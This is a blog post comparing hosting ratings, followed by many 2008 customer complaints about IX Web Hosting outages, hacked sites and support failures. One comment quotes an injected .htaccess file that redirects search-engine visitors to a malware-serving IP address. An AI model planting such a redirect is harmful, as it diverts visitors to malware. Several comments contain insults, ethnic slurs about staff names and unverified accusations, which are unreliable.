Posts Tagged ‘reviews’

Host gator leaves IX Web Hosting in the Gutter

Just compare the very high ratings of Host Gator with the Embarrassing LOW  ratings IX has.

OVERALL RATING : Host Gator 95.29 :  IX Web Hosting  35.13

UPTIME & RELIABILITY  : Host Gator 9.73 :  IX Web Hosting  5.30

SERVER & CONNECTION SPEED : Host Gator 9.49 :  IX Web Hosting  5.13

TECHNICAL SUPPORT & KNOWLEDGE :  Host Gator 9.27 :  IX Web Hosting  3.62 

CUSTOMER SERVICE & BILLING : Host Gator 9.33 :  IX Web Hosting  4.86 

VALUE FOR MONEY : Host Gator 9.40 :  IX Web Hosting  4.87 

host gator vs IX Web Hosting 

Luckily for IX Web Hosting  SECURITY issues were not rated, But  a rating of  3.62  for TECHNICAL SUPPORT & KNOWLEDGE  !!!  It’s time for IX Web Hosting to pull the plug…  These figures say it all…
AVOID IX WEB HOSTING  

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Seve, 29th 2009f December, 2008
Ooohh alright, I’ll GIVE them away!!Still no takers?..

Don’t blame ya!!

 
Steve, 29th 2009f December, 2008
Anyone want to buy my 2 buisness Accounts I have with IX ? I’ll sell them for a good price.. IX is the leader in quality Web Hosting, and comes with top notch support.. especially if you speak Ukrainian.. C’mon be part of history, IX might not be around for much longer.
 
Rich, 29th 2009f December, 2008
IX is so full of shit, I can smell them fro here. These dickwads are clueless, they are a laughing stock. Anyone hosting their sites with these people need to seriously start looking for another host. IX is gonna get a hell of a lot worse before it gets better.. thats if they survive the loss of so many customers.
 
James, 29th 2009f December, 2008
6 weeks ago I purchased an account with ix webhosting, in this 6 week periode my site has been cleaned and re uploaded 14 times!! every other day it gets injected with a .htaccess file, and gets redirected. I do not have any scripts for my site an no .htaccess file. ix has constantly blamed me for this. Luckily I only have one site, I’m counting my loss and moving away.
 
Bart de Vries, 29th 2009f December, 2008
A complete bunch of ignorent stuck up turds!!.. couldn’t run a stopwatch, let alone a hosting company.
 
Oz, 29th 2009f December, 2008
IXWEBHOSTING is bent!I mean all my domains had a .htaccess file which redirected all search engine traffic to another website (located at starnet.md) to download malacious files (virus).

This is the contents of the .htaccess file:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]

It’s rewriting code to direct all users from Search engines away from my websites.

Good bye IX!

 
Juloep, 28th 2008f December, 2008
I just read this website and here you can see that ix people are thiefes
https://ixwebhostwarning.wordpress.com/
 
Juloep, 28th 2008f December, 2008
I have holiday for 6 days, and when I get home my website has gone, instead a page tells everyone my web site is terminated.. I call ix and they tell me my site was phishing site.. I tell them that it is a mistake, my website is about hotel in Tunisia.. I ask for them to please put my website back because people think I am now a thief but they say i must buy a new account. these people are VERY bad people, they make me look like thief but they are thief!!
 
Eddie, 28th 2008f December, 2008
http://www.psedog.com
Another website screwed by IX. Luckily I was nearing the end of my contract when they decided to suspend my account for “Phishing” All the suspected folders had permissions of “httpd”. A week prior to IX shutting my site down (Suspended). They had informed me that my site had been “hacked” and had a virus in it. They claimed to have fixed it. Only to shut down my site shortly after. Look at some of the recent comments under mine and you will see that I’m not the only one. IXWebHosting is crap. I only dealt with it for as long as I did because I had already paid. Unfortunately I didn’t have the site as a whole backed up. Now I have to go and rebuild it again from multiple sources.They shut my site down 2 other times before. They claimed TOS for copyright infringement. The infringing products were my own pictures from my car club in Souther California. Apparently I’m not allowed to have a nice car and know others that do as well. (G35Driver)
 
Jack Brown, IT Director, 26th 2008f December, 2008
The best hosting company list at:
Mavaron.com
http://www.mavaron.com
 
John M, 26th 2008f December, 2008
I am so pissed off with ixwebhosting, they know they have an issue with their servers, but they still blame the customers. I have 2 static sites, and they have been injected nad the files permission changed to httpd. When I phoned support I was blamed for in-secure folder permissions, when I told them I did not have any folders, they told me to purchase an anti virus software, and scan my pc!! I told them My McAfee AV is 2 months old and up to date, and scans every Tuesday and Friday.. Then they told me to TRY ANOTHER Anti Virus software Keep away from these idiots
 
Tom, 25th 2008f December, 2008
Today without warning ix web shutdown my account, because I ran a script on it, I have a photography site for newly weds, I know nothing of any script. They are rude and are blaming me for their problems. How can I get my database and all my files? Can I sue them?
 
Jacque, 25th 2008f December, 2008
Once they were a very good company, but now they are the worst, and the worst just keeps getting worse.
Avoid ix web hosting until they get their act together. more info https://ixwebhostwarning.wordpress.com/
 
Babs, 25th 2008f December, 2008
What a nightmare!! Talk about crooks, it is beyond me that IX is still in buisness.
I would not host my site with them for FREE
Been there.. done it… got the stress
 
2 matt, 25th 2008f December, 2008
Hi there,
go on http://www.dickgreasley.com to check how fast the server is.
On bottom of the website is link to EBH.
 
 
 
 
matt, 18th 2008f December, 2008
ixwebhosting.com server has been down for now 3 hours. My company cannot retreive important data. I think this company is so damn unprofessional. If anyone has any other suggestions for other good webhosting companies, please do let me know!
 
cashzzz, 18th 2008f December, 2008
Server has been down now for over 2 hours….ixwebhosting keeps telling us to wait 15-30 more minutes… we cannot keep waiting like this. They said the server is under maintenance, but the server should not be down like this for more than 2 hours.. not sure how much longer…
 
cashzzz, 18th 2008f December, 2008
Server is down as of now. for over 1 hour 30 minutes… we are told the server will be up another 30 minutes but that was 30 minutes ago.
 
Chris, 17th 2008f December, 2008
It was a nightmare dealing with these horrendous people at IX Webhosting.- For the seven months my site was hosted there, there were a lot of slow downs, database cut-offs and data lost, and they never provide any compensation or explanation of why that happened

– IX reserves the right to cut off your website at anytime whenever they feel like to. At first they would not tell you they are going to cut you off, they just asked you to accept their TOS terms of service. Once you did that they cut you off immediately.

– Worst of all, they do not allow user to download their own website or database once they suspended your account. If you are not prepared you will be totally screwed. I have never seen hosting company not providing user their database when they move out of the host.

– Technical support is horrendous, either the person there just try to play dumb or are complete idiots. They do not listen to your words, they just repeat themselves over and over again as if they are merely answering machines.

– Make sure you read every single word in their terms of service, there are a lot of unfair terms to the user, make sure you are alright with every single term in there before you sign up. These guys sure know how to make a fool of you by playing with the terms.

 
they are bad, 16th 2008f December, 2008
Koima
They are pretty bad , but have you checked out IPower.For years of consistant appalling service, i doubt you’d get any worse – anywhere .

Why nearly all of the top 10 listed here are still in business is beyond me – most (not all) of them are not worth counting anywhere in the top 1000!

 
Koima, 12th 2008f December, 2008
WOW, I never see so many bad comments I think I will never use ixwebhosting
 
fuckIX, 12th 2008f December, 2008
ixwebhosting can kiss my arse. 2 years of these pathetic people is enough.
IX does not give a damn shit about customers, they take your money and screw you
BURN IX BURN!!!
 
David Lee, 11th 2008f December, 2008
My htaccess file was replaced and my website was down yestoday.
It seems like nothing they gonna do to make their hosting service to be the one it should be.
I have to upload htaccess every 4 days. ixwebhosting is a shit!
I want my money back!
 
Sandra, 11th 2008f December, 2008
I am so glad that I only have 2 web sites with these crooks. I wish I had found this site before. I purchased my account 7 weeks ago, and since then I have had nothing but trouble, in those 7 weeks I have had to upload backups 11 times!!
I tried to use their support 3 times, but each time all they said was I needed to create a ticket..
Bottom line, AVOID IX web hosting
 
Harry, 09th 2008f December, 2008
IX wehosting is a 100% rip off, I cannot understand that they are still allowed to sell hosting. My sites are hacked on a weekly basis. Support are a bunch of ignorant retards that belong in a Zoo cleaning up the animal shit!!
IX web hosting, Please do yourself a favor, and pull the plug!! You are without doubt a disgrace to the hosting world.
 
J C, 01st 2008f December, 2008
Our websites has been Hacked again
We were connected with IXWebHosting
Now we have enough and cancelled our multiple accounts with them
KB, 30th 2008f November, 2008
I’m having the same issues… files that were owned by my account became owned by httpd and all had virus injected into them.

I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time).

Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren’t even working.

Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply.

 
empusa, 21st 2008f November, 2008
When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for ‘further information’. They claim to be in the USA, but every reply is from an Eastern European name. Their so called ‘live support’ is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket.
My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755.
You get what you pay for. I’ve just moved to A2hosting. I’ll have to pay twice as much but the service is infinitely better.
 
Yunus Member, 19th 2008f November, 2008
Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars
 
de P, 14th 2008f November, 2008
Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others “Wells Fargo” and Washington Mutual”.
I am not going to advise anyone if they should or should not use IX webhosting, just google “IX webhosting Hacked” and make up your own mind.
There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected.
 
Christos , 12th 2008f November, 2008
I regret the time I signed with Ixwebhosting. The site is on a regular basis down… and most of the times the initial contact is VERY VERY slow… and you receive connection interruptions all the time….. I am looking for another provider ASAP. What a waste of time and money
 
sony, 01st 2008f November, 2008
They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact ….
The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting.
 
Bob, 28th 2008f October, 2008
Wow – wish I’d read this first. I signed up and was soooo excited by their unlimited everything and their “DotNetNuke Expertise”. Wrong. They have no tools for DNN (can’t backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN — actually worse, some seem to know it exists and others don’t. The biggest reason to avoid them is I had an open ‘ticket’ for over 12 hours. I’ve read where people say to use ‘chat’ and they’re right — you get a quick response from someone (some person who I’m sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other “wanna buy a vowel” name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life — the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away.
 
David, 23rd 2008f October, 2008
I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB.

The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me.

 
support, 21st 2008f October, 2008
try http://www.hostmysite.com
 
Shrink, 21st 2008f October, 2008
They re-activated my account. I am backing up files now. I’ve got one more strike. If I’m hacked again, I’m gone. I’m gone anyway. Looking for another host.
 
Shrink, 21st 2008f October, 2008
I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have!
 
Enrique Gutierrez, 21st 2008f October, 2008
HORRIBLE!

I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn’t place, they proceeded to tell me that they can’t give me access to my files and data.

They’re about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I’ve ever had to deal with in my 9 years of web dev.

you_suck_sad

 

Patrick, 28th 2008f July, 2008
ixwebhosting.com is basically bottom of the barrel hosting. I can’t imagine anything worse. Their server went down again Saturday and now my entire wiki website no longer works because of a corrupted database. Do not use this host because you WILL have problems. Lots of them.
 
Pascal, 28th 2008f July, 2008
I have to admit, IXwebhosting is not that good. My site has been down 4 times in the past year. sometimes it takes 12-24 hours to get things back up and running. The email servers have been slow lately. Right now, my FTP service does not work; I can’t login either. I’ve started looking for another host because reliability is my main concern.
 
Alex Ho, 28th 2008f July, 2008
Ok, GUYS, I’m so pissed with this ixwebhosting sh*t. 2 weeks ago their MySQL server was down and they didn’t save a back up for me even they could be able to back up some other databases which made me so pissed coz I have a forum of 12,000 members for 5 years. (Fortunately I got my own back up, but it’s 6 months old!) Yes, I called them, chatted live, emailed, ticketed, all sh*t, but all I got was “we are wrking on it”. Funny, huh?

They have cheap plans, I agree, the reason I chose them cause they had cheap plans, and I tested their website speed with a tool, and their site speed was light speed. However, after using their hosting for 2 years, now their hosting service turned out too bad now. My sites have been on and off, regardless the daytime or nighttime. Just imagine you staying home on Saturday night and Sunday night coding your site instead of going out watch movies with your cute girlfriend, and suddenly the site&host&ftp… everything shut down at 1am when you are so stuck with the code, that’s b*** sh*t huh?

GUYS, PLEASE THINK OVER BEFORE BUYING THIS HOSTING SERVICE: IXWEBHOSTING.COM <= Cheap doesn’t mean good!

I’m on my way finding another hosting, hix

Anyway, read over this comment box to see how BAD this hosting service is! I saw about 95% NEGATIVE FEEDBACK!

 
cashzzz@hotmail.com, 27th 2008f July, 2008
The server is down right now receiving the following error: HTTP/1.1 500 Server Error. The reply from the tech support said they cannot help and we need to send a ticket to the center. All sites are down. It’s time to move servers.
 
kads, 22nd 2008f July, 2008
i am moving webhost. my site is down at the moment, their support doesnt even speak english, my emails dont work. their site doesn’t work. + when my site does load, it loads at 2 miles per century. im moving to 5quidhost.co.uk which has awesome reviews.
 
cashzzz@hotmail.com, 20th 2008f July, 2008
I think we have to throw in the towel soon. We have given ixwebhosting a serious try and in the past 2 months, the web server has been down more than 8-10 times. The email server also had problems as well and does not send out emails. We have also contacted the tech support online, which is good they have this feature, but they never know how to fix the problem. They will ask you to send an email. But they wont fix it until hours up to 5 days. We are looking for better hosting and would like your suggestions. Ixwebhosting is not good enough at this point. Server has too many problems and downtime is serious.
 
elawcase@gmail.com, 20th 2008f July, 2008
Ixwebhosting.com server ns13, and ns14 is currently down. We have contacted ixwebhosting support and they do not how to fix the problem. The server has been down for 3 days intermittently. The server is down now.
 
Steve, 19th 2008f July, 2008
The uptime is brilliant. My site has only been down twice for about 5 minutes. But I do not recommend this host. The MySQL server I am on has a lot of problems. Some guy I know keylogged me and got into my forums and deleted everything. The backups I uploaded wouldn’t work, so I made a support ticket. It took them TWO WEEKS to reply. They said they had a backup from the day before it was hacked. I asked them to restore it. A week later they replied again and said they didn’t have the backup. So, I had to completely start my forum over again. Next month I will be moving host, and I asked them to email me a backup of my website. I have been waiting 3 days so far and still no reply from them.

THE SUPPORT SUCKS. Do not host with these guys. It is a waste of money and a waste of time. Plus they have really bad servers.

 
abimbola, 15th 2008f July, 2008
In the name of almighty God, do not host with ixwebhosting!You will have the greatest regrets in your life. All the websites I have been developing for years disappeared and ixwebhosting said that was due to massive hard storage failure and that the data are irrecoverable.Please,Please,Please do not host with this company as it is not a company but a form of internet dupe!
 
good by_ix, 12th 2008f July, 2008
ix webhosting service
# Stop service ticketing technical support.
# Stop service database.
# Problems are endless.
# Company on the precipice, waiting to fall down.
# I advise you: Make your files and transferred into the computer.
 
kads, 09th 2008f July, 2008
have opened a ticket for 2 days on ix, and it hasnt been responded to. live chat is also unhelpful. my emails are down and i can’t access them. this is the first problem i’ve had.
 
cashzzz, 03rd 2008f July, 2008
Okay, it has been now 4-5 days that the email server does not work with ixwebhosting. They keep saying please wait 24 hours and the issue will be resolved. But so far their email webserver is not working or sending emails out. I think I may need to throw in the towel soon. Ixwebhosting does not know how to run their web servers or maintain it. If they do not fix the email server 2 more days, I have to urgently move my server.. anyone with good suggestions of a company who is reliable, know how to maintain the server, doesn’t overload the servers, has multi domain hosting for ASP classic pages, and uses HSphere, please let me know. Thank you. cashzzz@hotmail.com
 
cashzzz, 02nd 2008f July, 2008
I’m quite frustrated because the email server at ixwebhosting is not working properly . Not sending out emails at all. This is the second day and the issue is not resolved yet. Really frustrating. If anyone has suggestions of other hosting that uses hsphere control panel and unlimited domain hosting, pls let me know. cashzzz@hotmail.com

you_suck

ixhater, 26th 2008f June, 2008
Run for the hills if you are thinking of signing up with ix. The adage, “you get what you pay for” is most appropriate. Unlimited web space? HAH! Suspended my account after it hit 60 GB without any notice.
 
rh, 22nd 2008f June, 2008
And yes they suspended me once too, after I called tech support, they said I was violating the TOS. I was not as I was trying to get my WordPress installed. I called them and after I cussed them out on the phone, I had to get really mad until they fixed things. If you use IX you will be sorry. I hate to say that but, I dont want others to experience the grief I have. Yes they are cheap, but you get what you pay for and I would rather pay more and get something reliable and something I can count on. You simply cannot count for IX webhosting for hosting a simple wordpress site. Page cannot display happens all the time.
 
rh, 22nd 2008f June, 2008
I have had ixwebhosting since 9/2007, I do not recommend them at all. STAY AWAY. You will be sorry if you choose them because, half the time the pages on my simple WORDPRESS blogs do not display. The tech support chat is totally useless. I am in the process of changing hosting companies as I type this. The slow response has been a damage to my reputation. DO NOT USE them, they are total hype. I am glad I didnt rely on them more, I have several domains I am developing.
 
cariani, 20th 2008f June, 2008
DONT EVER HOST WITH THEM!!! This company is a fraudelent Company!I had “Unlimited Pro” account with them after 6 months (after the number of my visitors growed). THEY DID DIRECTLY AND WIHTOUT ANY WARNINGS SUPSPEND MY ACCOUNT!! If you have more than 50 vistiors a day, IXWEBHOSTING WILL SUSPEND YOU and the most bad thing is- in the beginning, you will read “ACCOUNT SUPSENDED” and they put their own material ADVERTISING WITH SEX-LINKS ON YOUR WEBSITE!!!

DONT BELIVE WHAT THEY SAY!!! DONT BELIVE ON MONEY BACK GUARANTEE- YOU WILL NEVER SEE YOU MONEY AGAIN!!

regards

For more Information contct me at little_ding_at@yahoo.de

dzemaili

 
George L., 14th 2008f June, 2008
Go to M6.net – the best and cheapest windows hosting in the world – I use it 8 month and very glad!!!
 
lee, 13th 2008f June, 2008
I get the following message each time I report the problem to their livechat:Sorry, unfortunately I can’t resolve this issue, please create a ticket to our administrators and they will help to solve your problem. You can create a ticket from your control panel -> 24\7 help desk – ticket center.

And when I create a ticket, I would get a reply from them that should I get anymore error, please contact our live chat immediately. And when I contact the livechat, they would tell me the problem cannot be resolved by livechat, please create a ticket. Good grief! this fraudulent company should be investigated.

 
lee, 13th 2008f June, 2008
ixwebhosting.com is the worst hosting company exist. I have a very simple wordpress blog, and almost 90% of the time I cannot get to my web site. Each time I try to access my site, I get the ‘error establishing database connection’. When I asked them, they said that such problem is difficult to resolve because it’s a shared mysql server, it is possible that other users are abusing their server and it will take them time to find the users who abuse their servers and then they would mark my case as resolved. There tech support is horrible. The livechat is useless and waste of time. I have already send in my request to cancel my account.
 
GeeJ, 12th 2008f June, 2008
Value for money. Great for starting out but they have a few weaknesses…
The email system they use is SLOWWW and un-reliable
You need to resolve (= be patient and wait) your own problems.
Great for a non- critical site with not too much traffic.
For a mission critical site, you will need to fork out more $$$s
 
cashzzz, 12th 2008f June, 2008
Okay, just letting everyone know that the server is down again. This is really way too much. I think it’s time to move away from ixwebhosting servers. Not reliable. Timestamp Location Result Size Time
2008-06-12 07:52:00 EDT Sydney AUS Error N/A 30.00
2008-06-12 07:52:00 EDT Hong Kong CHN Error N/A 30.00
2008-06-12 07:52:00 EDT Frankfurt DEU Error N/A 30.02
2008-06-12 07:52:00 EDT London GBR Error N/A 30.01
2008-06-12 07:52:00 EDT Oklahoma City USA Error N/A 30.00
2008-06-12 07:52:00 EDT Las Vegas USA Error N/A 30.00
2008-06-12 07:52:00 EDT Chicago USA Error N/A 30.00
2008-06-12 07:52:00 EDT Shanghai CHN Error N/A 30.15
 
cashzzz, 12th 2008f June, 2008
finally the site is running but is slow.
2008-06-12 05:24:00 EDT Hong Kong CHN OK 76.0 4.65
2008-06-12 05:24:00 EDT Sydney AUS OK 76.0 3.62
2008-06-12 05:24:00 EDT Frankfurt DEU OK 76.1 3.20
2008-06-12 05:24:00 EDT London GBR OK 76.1 1.06
2008-06-12 05:24:00 EDT Las Vegas USA OK 76.1 1.36
2008-06-12 05:24:00 EDT Chicago USA OK 76.1 0.66
2008-06-12 05:23:27 EDT Sydney AUS Error N/A 31.47
 
cashzzz, 12th 2008f June, 2008
Right now, it is 4:08 Hong Kong time and the server is down again. This is the fourth time and the server is on and off throughout the day. Here is the proof logs. Timestamp Location Result Size Time
2008-06-12 04:06:53 EDT London GBR Error N/A 30.73
2008-06-12 04:06:53 EDT Sydney AUS Error N/A 30.48
2008-06-12 04:06:53 EDT Hong Kong CHN Error N/A 30.50
2008-06-12 04:06:53 EDT Las Vegas USA Error N/A 30.36
2008-06-12 04:06:53 EDT Frankfurt DEU Error N/A 30.26
2008-06-12 04:06:53 EDT Oklahoma City USA Error N/A 30.23
2008-06-12 04:06:53 EDT Chicago USA Error N/A 30.02
 
cashzzz, 10th 2008f June, 2008
5 hours later.. look what i got again checking the sites. I’m realizing that their claim that their server is never down is false: Timestamp Location Result Size Time
2008-06-10 17:53:59 EDT Sydney AUS Error N/A 30.96
2008-06-10 17:53:59 EDT Hong Kong CHN Error N/A 30.93
2008-06-10 17:53:59 EDT Las Vegas USA Error N/A 30.70
2008-06-10 17:53:59 EDT Frankfurt DEU Error N/A 30.55
2008-06-10 17:53:59 EDT London GBR Error N/A 30.45
2008-06-10 17:53:59 EDT Atlanta USA Error N/A 30.44
2008-06-10 17:53:59 EDT Chicago USA Error N/A 30.15
2008-06-10 17:53:59 EDT Oklahoma City USA Error N/A 30.16
 
cashzzz, 10th 2008f June, 2008
Okay, I am having webserver issues and the tech support at ixwebhosting was not helpful at all. The server was down and i had proof from 3rd party monitors.
Igor Sedov: Hello, my name is Igor, please let me know how can I help you today?you: hello server is down again

you: it was down already two times in the last 30 minutes

you: http://www.flowers.com.hk or create88 is the account

you: Timestamp Location Result Size Time 2008-06-10 12:51:04 EDT Atlanta USA Error N/A 30.08

you: hello?

you: the website is also not responding now

you: http://www.flowers.com.hk

you: Timestamp Location Result Size Time 2008-06-10 12:56:12 EDT Sydney AUS Error N/A 30.49 2008-06-10 12:56:12 EDT Shanghai CHN Error N/A 30.75 2008-06-10 12:56:12 EDT Frankfurt DEU Error N/A 30.27 2008-06-10 12:56:12 EDT London GBR Error N/A 30.22 2008-06-10 12:56:12 EDT Las Vegas USA Error N/A 30.14 2008-06-10 12:56:12 EDT Oklahoma City USA Error N/A 30.11 2008-06-10 12:56:12 EDT Atlanta USA Error N/A 30.09 2008-06-10 12:56:12 EDT Chicago USA Error N/A 30.02 2008-06-10 12:56:12 EDT Hong Kong CHN OK 98.8 27.63

Igor Sedov: Please hold on, let me check

you: Timestamp Location Result Size Time 2008-06-10 12:59:05 EDT Sydney AUS OK 98.8 5.65 2008-06-10 12:58:33 EDT Atlanta USA OK 98.8 30.30

you: it might pull up the site but then stall

Igor Sedov: I see that your site is working

you: it works then stalls

you: it’s now on error now

you: please try to click on links or check 3rd party monitors

you: it’s not working most of the time

you: Timestamp Location Result Size Time 2008-06-10 12:59:42 EDT Shanghai CHN Error N/A 33.88 2008-06-10 12:59:42 EDT Sydney AUS Error N/A 30.48 2008-06-10 12:59:42 EDT Hong Kong CHN Error N/A 30.51 2008-06-10 12:59:42 EDT Frankfurt DEU Error N/A 30.27 2008-06-10 12:59:42 EDT London GBR Error N/A 30.21 2008-06-10 12:59:42 EDT Las Vegas USA Error N/A 30.14 2008-06-10 12:59:42 EDT Oklahoma City USA Error N/A 30.15 2008-06-10 12:59:42 EDT Atlanta USA Error N/A 30.09 2008-06-10 12:59:42 EDT Chicago USA Error N/A 30.03

Igor Sedov: How can I reproduce your error?

you: you can also check alertra.com and type in flowers.com.hk

you: the server is down for all sites

you: NOT working now

Igor Sedov: I see that your site is working fine and fast. Try to use another browser

you: can you try to click on a few links?

you: i just got a few monitors telling me it is not working

you: what happens it will work for a few seconds then stall

you: its been like this for the past hour

you: this was sent by another 3rd party monitor half hour ago: Time: 06/11/2008 00:19:53 (GMT+08:00) URL: http://www.flowers.com.hk/hongkong.asp Status: FAILED 4 times since 06/11/2008 00:19:52 Reason: Timeout

you: Flowers.hk is now stalling

Igor Sedov: Sorry, unfortunately I can’t resolve this issue, please create a ticket to our administrators and they will help to solve your problem. You can create a ticket from your control panel -> 24\7 help desk – ticket center.

you: try to click on a few links

you: i have sent it already

you: can you please contact the tech support and ask what is happening with the server

you: it’s stalling now

you: please check

you: http://www.flowers.hk

you: or http://www.flowers.com.hk

you: try to click on links

you: stalling now

you: also you can go on http://www.alertra.com and type in flowers.com.hk

you: you will see the error

Igor Sedov: Please create the ticket and we resolve your issue as soon as possible. Sorry for possible inconvenience

you: i did already

you: try now

you: it’s stalling

you: http://www.alertra.com

you: there is SOMETHING WRONG WITH THE SERVER NOW

you: I NEED TO GET THE SERVER FIXED

you: I HAVE CUSTOMERS WHO HAVE TOLD ME THE SITE IS SLOW

Igor Sedov: Please, create the ticket via your helpdesk. (Log in into your account main page —> Click on “24/7 Help Center” at the right at the screen)

you: PLEASE FIX IT

you: I HAVE SENT THIS ALREADY

you: THE SERVER IS NOT FIXED

you: CHECK THE SITE AGAIN

you: NOT WORKING!!!!

you: PLEASE

you: IGOR YOU ARE NOT CHECKING THE SITE

you: I NEED YOU TO CHECK

you: THIS IS GETTING FRUSTRATING

you: Here’s now three of the customers emails saying the site is not working

Igor Sedov: Sorry for this delay But you need to contact to our administrators via the ticket

you: sure i will also add this to webhosting blogs

you: this is terrible

you: you are not fixing the issue

Igor Sedov: First of all let me express the most sincere apologies for such inconvenience you are encountering at the present moment. Sorry but other department will resolve your issue.

you: i will add this to a blog site. I feel you are not trying to solve the problem

Igor Sedov: Did you create the ticket?

you: 30 minutes ago yes..but still the problem is happening

 
cashzzzathotmail, 08th 2008f June, 2008
I gave ixwebhosting a try. Right now at this moment, the server is down for 3 hours and i am still waiting for someone to fix it. I am told they send an email to their admin but what does that mean? I asked them to contact the tech support but they said they sent an email. I don’t know how much longer the server will be down. I will let everyone know when it is fixed. The server down is ns13.ixwebhosting.com and ns14.ixwebhosting.com.
 
Net Gear, 05th 2008f June, 2008
IXWH has problems on occasion, like all hosting companies, and I’ll be the first to say I’ve been frustrated a few times. But, much of the complaints I’ve read here are obviously due to user error. I’ve been with them for over 5 years, and my site has been down once. That was when they recently moved their boxes to Ohio. For the money, they’re hard to beat. Put a bunch of salt on the loudest complaints. Especially the one from the idiot ex-employee that had his paycheck screwed-up. That’s hilarious.
 
Brian, 05th 2008f June, 2008
Where was this site before I stupidly signed up with these yuts. What a horrible mistake. Web site goes down every 3-4 days. Yes, they get it up as soon as I complain, but that is not the point. Their servers are OVERLOADED and crash often!
 
Sorry_no_good, 05th 2008f June, 2008
I know, I know, for the price you shouldn’t complain. But this service is not that good, even for a basic site.
I signed up and in the first night had major trouble. I use PHP emails on most of my sites, and in all cases the PHP mail server was BAD!! It took nearly 48 hours for some emails and many did not arrive at all. They apparently had this problem for months and still did not have it solved. Their Tech Support ticket system took days to respond and that was not good. Their live chat always resulted in them saying something like, “we cannot help you now, please raise a ticket”. Their service center would promise calls from tech support people, and again these would take days to call you.
They offer you free months hosting when you complain, but that does not solve the issue. I cancelled within 4 days of hosting with them and moved to Bluehost. Bluehost has been a good option for me though I know others don’t like it, I think it’s a great service.
 
bob smith, 04th 2008f June, 2008
I worked for this company. The company that hosts is called IXWEBHOSTING. The callcenter for help is called Ecommerce. Located in Hopkinsville KY. They are a bunch of unprofessional screw ups. They lie to the customers and tell them whatever to get them off the phones. I know because I did it. They are also in with a bunch of Ukrainians. Prolly the Russian Mafia or something. Whole thing is shady. Too many people on the servers.. too much traffic. They won’t do crap for you.
They mess up the employees checks and crap.. they are ghetto.
 
gigapixel, 04th 2008f June, 2008
Mail servers again are taking over 24 hours to process mail in. Don’t use them if your rely on prompt email
 
Jay, 04th 2008f June, 2008
The email is down many times per week at a minimum. This has been going on for about 6 months. They finally said it was the server I was on, and could move me,but my mail would be down (delayed) for up to 48 hours due to DNS propagation (routing). I said: why not just replace or fix the server, since it’s gotta be affecting others. Copy the info, unplu the bad one and plug in the new one. Downtime of minutes maybe?That’s the reason I left my last host (adaptive.net). After 7 or 8 years, they went to heck too.

If you rely on your email, as we do in our business, don’t use IXwebhosting.

 
p_at_c, 01st 2008f June, 2008
oops it is THIS reating site that gave my hosting company a goo uptime rating – sorry it ws webhotingstuff.com that more realistically dropped them……
 
p_at_c, 01st 2008f June, 2008
Well I have read all the recent reviews and realise that one cannot rely on the ratings of these review sites as the posted reviews are very negative and yet the the company under review is at the top of the ratings list – makes one think………my own hosting company was dropped from this review site owing to 0% uptime over a monitoring period BUT gets a high rating for uptime on another ratings site (sigh)…